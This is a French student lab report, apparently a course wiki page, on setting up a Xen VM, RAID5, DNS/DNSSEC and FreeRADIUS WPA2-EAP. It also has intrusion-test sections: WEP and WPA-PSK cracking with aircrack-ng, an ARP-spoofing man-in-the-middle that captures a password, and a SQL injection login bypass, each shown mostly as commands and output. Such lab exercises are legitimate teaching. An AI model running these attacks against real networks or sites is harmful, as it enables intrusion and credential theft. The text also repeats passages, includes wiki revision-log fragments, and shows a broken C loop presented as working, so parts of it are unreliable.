SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Chiffrement de données ===

Je branche une clé USB sur mon PC et la sécurise
cryptsetup open /dev/sdb cle -type : plain

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...

Le wifi SSID_Lulya est visible et accessible.

Dot11Radio 0 : 2.5 GHz

Dot11rRadio 1 : 5 GHz

Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.

Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.
ap#sh dot11 bssid

Fichier:Honey Léna.png

2020-12-15T14:45:46Z

Lchenu : Lchenu a téléversé une nouvelle version de Fichier:Honey Léna.png

TP sysres IMA2a5 2020/2021 G7

2020-12-15T14:43:33Z

Lchenu : /* Configuration des points d'accès WiFi */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

